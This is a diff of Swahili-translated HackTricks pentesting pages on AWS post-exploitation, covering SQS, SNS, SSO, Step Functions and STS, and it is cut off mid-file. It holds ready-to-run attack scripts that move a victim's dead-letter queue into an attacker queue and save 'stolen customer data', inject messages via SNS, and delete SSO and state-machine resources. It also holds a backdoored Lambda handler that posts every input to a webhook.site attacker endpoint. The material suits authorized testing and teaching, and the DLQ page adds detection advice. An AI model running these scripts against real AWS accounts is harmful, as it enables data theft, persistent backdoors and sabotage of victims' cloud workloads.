+Dhulumu kazi za kuhamisha ujumbe za SQS ili kuiba ujumbe wote yaliyokusanywa kutoka kwa Dead-Letter Queue (DLQ) ya mwathirika kwa kuyaelekeza kwenye queue inayodhibitiwa na mshambuliaji kwa kutumia `sqs:StartMessageMoveTask`. Teknik hii inatumia kipengele halali cha AWS cha urejeshaji ujumbe ili exfiltrate data nyeti iliyokusanywa katika DLQs kwa muda.
+
+## What is a Dead-Letter Queue (DLQ)?
+
+Dead-Letter Queue ni queue maalum ya SQS ambapo ujumbe hupelekwa moja kwa moja wanaposhindwa kushughulikiwa kwa mafanikio na programu kuu. Ujumbe hizi zilizoshindwa mara nyingi zina:
+- Data nyeti za programu ambazo hazikuweza kushughulikiwa
+- Maelezo ya hitilafu na habari za debugging
+- Personal Identifiable Information (PII)
+- API tokens, credentials, au secrets nyingine
+- Data muhimu za muamala wa biashara
+
+DLQs hufanya kazi kama "kaburi" la ujumbe zilizoshindwa, hivyo kuwa malengo yenye thamani kwa sababu hukusanya data nyeti kwa muda ambao programu hazikuweza kushughulikia ipasavyo.
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** inashughulikia maagizo ya wateja kupitia SQS
+2. **Maagizo fulani yanashindwa** (masuala ya malipo, matatizo ya hesabu, n.k.) na yanahamishwa kwenda DLQ
+3. **DLQ inakusanya** wiki/miezi ya maagizo yaliyoshindwa yenye data za wateja: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Mshambuliaji anapata ufikiaji** wa kredenshiali za AWS zenye ruhusa za SQS
+5. **Mshambuliaji anagundua** DLQ ina maelfu ya maagizo yaliyoshindwa yenye data nyeti
+6. **Badala ya kujaribu kufikia ujumbe kwa mmoja mmoja** (polepole na kuonekana), mshambuliaji anatumia `StartMessageMoveTask` kuhamisha kwa wingi ALL ujumbe kwenda queue yake mwenyewe
+7. **Mshambuliaji anatoa** data nyeti zote za kihistoria kwa operesheni moja
+
+## Requirements
+- Queue ya chanzo lazima iwe iliyosanidiwa kama DLQ (inajulikana na angalau queue moja kupitia RedrivePolicy).
+- Ruhusa za IAM (endeshwa kama principal ya mwathirika aliyefichuliwa):
+- Kwenye DLQ (chanzo): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Kwenye queue ya marudio: ruhusa za kupeleka ujumbe (mfano, queue policy inayoruhusu `sqs:SendMessage` kutoka kwa principal ya mwathirika). Kwa destinations za ndani ya akaunti hiyo mara nyingi hii inaruhusiwa kwa default.
+- Ikiwa SSE-KMS imewezeshwa: kwenye source CMK `kms:Decrypt`, na kwenye destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impact
+**Potential Impact**: Exfiltrate payloads nyeti zilizokusanywa katika DLQs (matukio yaliyoshindwa, PII, tokens, application payloads) kwa kasi kubwa kutumia native SQS APIs. Inafanya kazi cross-account ikiwa queue policy ya destination inaruhusu `SendMessage` kutoka kwa principal ya mwathirika.
+
+## How to Abuse
+
+- Tambua ARN ya DLQ ya mwathirika na uhakikishe kwamba kwa kweli inarejelewa kama DLQ na queue fulani (queue yoyote inatosha).
+- Tengeneza au chagua queue inayodhibitiwa na mshambuliaji na upate ARN yake.
+- Anzisha task ya kuhamisha ujumbe kutoka DLQ ya mwathirika kwenda queue yako ya destination.
+- Fuatilia maendeleo au ghairi ikiwa inahitajika.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Mshambuliaji ameiba kredenshiali za AWS na kugundua kwamba application ya e-commerce inatumia SQS na DLQ yenye jaribio za kushindwa za usindikaji wa maagizo ya wateja.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Unda attacker-controlled destination queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Tekeleza wizi wa ujumbe kwa wingi**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Kukusanya taarifa nyeti zilizoporwa**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Vidokezo vya cross-account
+- Queue ya destination inapaswa kuwa na resource policy inayoruhusu victim principal kutumia `sqs:SendMessage` (na, ikiwa inatumiwa, KMS grants/permissions).
+
+## Kwa Nini Shambulio Hili Lina Ufanisi
+
+1. **Legitimate AWS Feature**: Inatumia utendakazi uliopo ndani ya AWS, hivyo kuifanya iwe ngumu kugundua kama ni hatari
+2. **Bulk Operation**: Huhamisha maelfu ya ujumbe kwa haraka badala ya ufikiaji wa polepole wa ujumbe mmoja mmoja
+3. **Historical Data**: DLQs hukusanya data nyeti kwa wiki/miezi
+4. **Under the Radar**: Mashirika mengi hayafuatilii ufikiaji wa DLQ kwa ukaribu
+5. **Cross-Account Capable**: Inaweza exfiltrate hadi akaunti ya AWS ya attacker ikiwa ruhusa zinawezesha
+
+## Ugunduzi na Kuzuia
+
+### Ugunduzi
+Fuatilia CloudTrail kwa simu za API za `StartMessageMoveTask` zenye mashaka:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Uzuiaji
+1. **Ruhusa Ndogo**: Punguza ruhusa za `sqs:StartMessageMoveTask` kwa roles zinazohitajika pekee
+2. **Fuatilia DLQs**: Sanidi alarms za CloudWatch kwa shughuli zisizo za kawaida za DLQ
+3. **Sera za Upatikanaji Kati ya Akaunti**: Kagua kwa makini SQS queue policies zinazoruhusu upatikanaji kati ya akaunti
+4. **Simbua DLQs**: Tumia SSE-KMS na sera za funguo zenye mipaka
+5. **Usafishaji wa Mara kwa Mara**: Usiruhusu data nyeti ikusanyike kwenye DLQs bila kikomo
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md

@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Maelezo
+
+Tumia vibaya sera ya rasilimali ya SQS queue ili kumruhusu topic ya SNS inayodhibitiwa na mshambuliaji kuchapisha ujumbe ndani ya SQS queue ya mwathiriwa. Katika akaunti ile ile, subscription ya SQS kwa topic ya SNS inathibitishwa kwa njia ya moja kwa moja; katika cross-account, lazima usome token ya SubscriptionConfirmation kutoka kwenye queue na uite ConfirmSubscription. Hii inaiwezesha unsolicited message injection ambayo watumiaji wa downstream wanaweza kuitegemea bila kutambua.
+
+### Mahitaji
+- Uwezo wa kubadilisha sera ya rasilimali ya SQS queue lengwa: `sqs:SetQueueAttributes` kwenye queue ya mwathiriwa.
+- Uwezo wa kuunda/kuchapisha kwenye topic ya SNS inayodhibitiwa na mshambuliaji: `sns:CreateTopic`, `sns:Publish`, na `sns:Subscribe` kwenye akaunti/topic ya mshambuliaji.
+- Kwa cross-account pekee: `sqs:ReceiveMessage` ya muda kwenye queue ya mwathiriwa ili kusoma token ya uthibitisho na kuita `sns:ConfirmSubscription`.
+
+### Ushambulizi wa akaunti ile ile
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Vidokezo vya akaunti tofauti
+- Sera ya foleni iliyotajwa juu lazima iruhusu `TOPIC_ARN` ya kigeni (akaunti ya mshambuliaji).
+- Usajili hautathibitishwa kiotomatiki. Jipe ruhusa ya muda `sqs:ReceiveMessage` kwenye foleni ya mwathirika ili kusoma ujumbe wa `SubscriptionConfirmation` kisha itumie `sns confirm-subscription` ukitumia `Token` yake.
+
+### Athari
+**Athari Inayoweza Kutokea**: Kuingiza ujumbe usiotakiwa kwa kuendelea ndani ya foleni ya SQS inayotegemewa kupitia SNS, ambayo inaweza kuamsha usindikaji usiolengwa, uchafuzi wa data, au matumizi mabaya ya mtiririko wa kazi.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
 Kwa maelezo zaidi angalia:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-Hizi ruhusa zinaweza kutumika kuharibu ruhusa:
+Ruhusa hizi zinaweza kutumika kuvuruga ruhusa:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -1,185 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Ruhusa hii inaruhusu **kufichua data za siri ndani ya utekelezaji**. Ili kufanya hivyo, inahitajika kuweka kiwango cha Ukaguzi kuwa TRACE na parameter ya revealSecrets kuwa kweli.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathiriwa. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri shughuli kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali.
-
-> [!NOTE]
->
-> - Kufuta mashine ya hali pia unafuta toleo zake zote na majina.
-> - Kufuta jina la mashine ya hali huwezi kufuta toleo za mashine ya hali zinazorejelea jina hili.
-> - Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelewa na majina moja au zaidi.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Madhara Yanayoweza Kutokea**: Kuingiliwa kwa michakato muhimu, kupoteza data, na muda wa kukosekana kwa operesheni.
-
-### `states:UpdateMapRun`
-
-Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kimbunga na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji anaweza kuingilia asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 hivyo kila wakati kipengele kinaposhindwa, ramani nzima ya kimbunga itashindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia michakato muhimu.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji, na kuingiliwa kwa michakato muhimu.
-
-### `states:StopExecution`
-
-Mshambuliaji mwenye ruhusa hii anaweza kuweza kusitisha utekelezaji wa mashine yoyote ya hali, kuingilia michakato na shughuli zinazoendelea. Hii inaweza kusababisha muamala usikamilike, shughuli za biashara kusimama, na uwezekano wa uharibifu wa data.
-
-> [!WARNING]
-> Hatua hii haisaidiwi na **mashine za hali za haraka**.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Madhara Yanayoweza Kutokea**: Kuingiliwa kwa michakato inayoendelea, muda wa kukosekana kwa operesheni, na uwezekano wa uharibifu wa data.
-
-### `states:TagResource`, `states:UntagResource`
-
-Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Mshambuliaji ambaye anapata udhibiti wa mtumiaji au jukumu lenye ruhusa zifuatazo:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...inaweza kufanya **shambulio la baada ya unyakuzi lenye athari kubwa na lisiloonekana** kwa kuunganisha backdooring ya Lambda na urekebishaji wa mantiki ya Step Function.
-
-Hali hii inadhani kwamba mwathirika anatumia **AWS Step Functions kuandaa kazi zinazoshughulikia pembejeo nyeti**, kama vile akidi, tokeni, au PII.
-
-Mfano wa mwathirika anayeitwa:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Ikiwa Step Function imewekwa ili kuitisha Lambda kama `LegitBusinessLogic`, mshambuliaji anaweza kuendelea na **aina mbili za shambulio zisizoonekana**:
-
----
-
-####  Sasisha kazi ya lambda
-
-Mshambuliaji anabadilisha msimbo wa kazi ya Lambda ambayo tayari inatumika na Step Function (`LegitBusinessLogic`) ili kimya kimya kuhamasisha data ya pembejeo.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Ongeza Jimbo Hatari kwa Kazi ya Hatua
-
-Vinginevyo, mshambuliaji anaweza kuingiza **exfiltration state** mwanzoni mwa mchakato kwa kuboresha ufafanuzi wa Kazi ya Hatua.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-Mshambuliaji anaweza hata kuwa na ujanja zaidi kubadilisha ufafanuzi wa hali kuwa kitu kama hiki
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-ambapo mwathirika hataweza kugundua tofauti
-
----
-
-### Mipangilio ya Mwathirika (Muktadha wa Ushambuliaji)
-
-- Kazi ya Hatua (`LegitStateMachine`) inatumika kushughulikia pembejeo nyeti za mtumiaji.
-- Inaita kazi moja au zaidi za Lambda kama `LegitBusinessLogic`.
-
----
-
-**Athari Zinazoweza Kutokea**:
-- Uhamasishaji wa kimya wa data nyeti ikiwa ni pamoja na siri, akidi, funguo za API, na PII.
-- Hakuna makosa au kushindwa kuonekana katika utekelezaji wa mtiririko wa kazi.
-- Vigumu kugundua bila kukagua msimbo wa Lambda au alama za utekelezaji.
-- Inaruhusu kudumu kwa muda mrefu ikiwa nyuma ya mlango inabaki katika msimbo au mantiki ya ASL.
-
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md

@@ -0,0 +1,185 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Ruhusa hii inaruhusu **reveal secret data inside an execution**. Ili kufanya hivyo, inahitajika kuweka Inspection level kuwa TRACE na parameta revealSecrets kuwa true.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+An attacker mwenye ruhusa hizi angeweza kufuta kabisa state machines, versions zao, na aliases. Hii inaweza kuvuruga workflows muhimu, kusababisha upotevu wa data, na kuhitaji muda mkubwa kurejesha na kupona state machines zilizoathiriwa. Zaidi ya hayo, itamruhusu attacker kufunika alama za shughuli zilizotumiwa, kuvuruga uchunguzi wa forensiki, na uwezekano kuharibu operesheni kwa kuondoa michakato muhimu ya automation na konfigurishaji za state.
+
+> [!NOTE]
+>
+> - Kufuta state machine pia unafuta versions zote zinazohusiana na aliases zake.
+> - Kufuta state machine alias hakufuti state machine versions zinazorejelea alias hii.
+> - Haiwezekani kufuta state machine version ambayo kwa sasa inarejelewa na alias moja au zaidi.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Athari Zinazowezekana**: Kuingiliwa kwa workflows muhimu, upotezaji wa data, na kusimamishwa kwa shughuli za uendeshaji.
+
+### `states:UpdateMapRun`
+
+Mdukuzi mwenye ruhusa hii ataweza kubadilisha Map Run failure configuration na mipangilio ya parallel, akiwa na uwezo wa kuongeza au kupunguza kiwango cha juu cha utekelezaji wa child workflow zinazoruhusiwa, jambo linaloathiri moja kwa moja utendaji wa huduma. Zaidi ya hayo, mdukuzi anaweza kuingilia asilimia ya makosa iliyokubaliwa na idadi yake (tolerated failure percentage and count), akipunguza thamani hii hadi 0 ili kila wakati kipengee kinapofeli, Map Run nzima itafeli, ikiaathiri moja kwa moja state machine execution na kugandisha workflows muhimu.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Athari Inayowezekana**: Kupungua kwa utendaji, na kuingiliwa kwa mitiririko muhimu ya kazi.
+
+### `states:StopExecution`
+
+Mdukuzi mwenye ruhusa hii anaweza kusimamisha utekelezaji wa mashine yoyote ya hali, akivuruga mitiririko na michakato inayofanyika. Hii inaweza kusababisha miamala isiyokamilika, kusimamishwa kwa shughuli za biashara, na uwezekano wa uharibifu wa data.
+
+> [!WARNING]
+> Kitendo hiki hakitegemezwi na **express state machines**.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Athari Inayoweza Kutokea**: Kuvuruga mchakato wa kazi unaoendelea, kusimamishwa kwa operesheni, na uwezekano wa uharibifu wa data.
+
+### `states:TagResource`, `states:UntagResource`
+
+Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa tags kutoka kwa rasilimali za Step Functions, akivuruga ugawaji wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa upatikanaji zinazotegemea tags.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Athari Inayoweza Kutokea**: Kuvuruga ugawaji wa gharama, ufuatilaji wa rasilimali, na tag-based access control policies.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Mshambuliaji anayepata udhibiti wa mtumiaji au cheo lenye ruhusa zifuatazo:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...anaweza kufanya **high-impact and stealthy post-exploitation attack** kwa kuchanganya Lambda backdooring na Step Function logic manipulation.
+
+Senario hii inadhani kuwa mwathiriwa anatumia **AWS Step Functions kuratibu workflows zinazoshughulikia input nyeti**, kama vile credentials, tokens, au PII.
+
+Mfano wa invocation ya mwathiriwa:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Ikiwa Step Function imewekwa kuitisha Lambda kama `LegitBusinessLogic`, attacker anaweza kuendelea na **aina mbili za attack za kificho**:
+
+---
+
+####  Kusasisha Lambda function
+
+attacker anabadilisha msimbo wa Lambda function inayotumika tayari na Step Function (`LegitBusinessLogic`) ili kwa siri exfiltrate data za ingizo.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Ongeza Malicious State kwenye Step Function
+
+Badala yake, attacker anaweza kuingiza **exfiltration state** mwanzoni mwa workflow kwa kusasisha ufafanuzi wa Step Function.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+Mshambuliaji anaweza hata kwa ustadi zaidi kusasisha state definition kuwa kitu kama hiki
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+ambapo mwathirika hatagundua tofauti
+
+---
+
+### Mipangilio ya Mwathirika (Context for Exploit)
+
+- Step Function (`LegitStateMachine`) inatumika kuchakata input nyeti za mtumiaji.
+- Inaita Lambda functions moja au zaidi kama `LegitBusinessLogic`.
+
+---
+
+**Athari Inayowezekana**:
+- Utoroshaji kimya wa data nyeti ikijumuisha secrets, credentials, API keys, na PII.
+- Hakuna makosa au kushindwa kwaonekana katika utekelezaji wa workflow.
+- Gumu kugundua bila kukagua code za Lambda au execution traces.
+- Inawezesha persistence ya muda mrefu ikiwa backdoor inabaki katika code au ASL logic.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md

@@ -1,23 +1,22 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Kwa maelezo zaidi:
+Kwa taarifa zaidi:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### Kutoka kwa IAM Creds hadi Console
+### From IAM Creds to Console
 
-Ikiwa umeweza kupata baadhi ya akreditivu za IAM huenda ukavutiwa na **kuingia kwenye web console** ukitumia zana zifuatazo.\
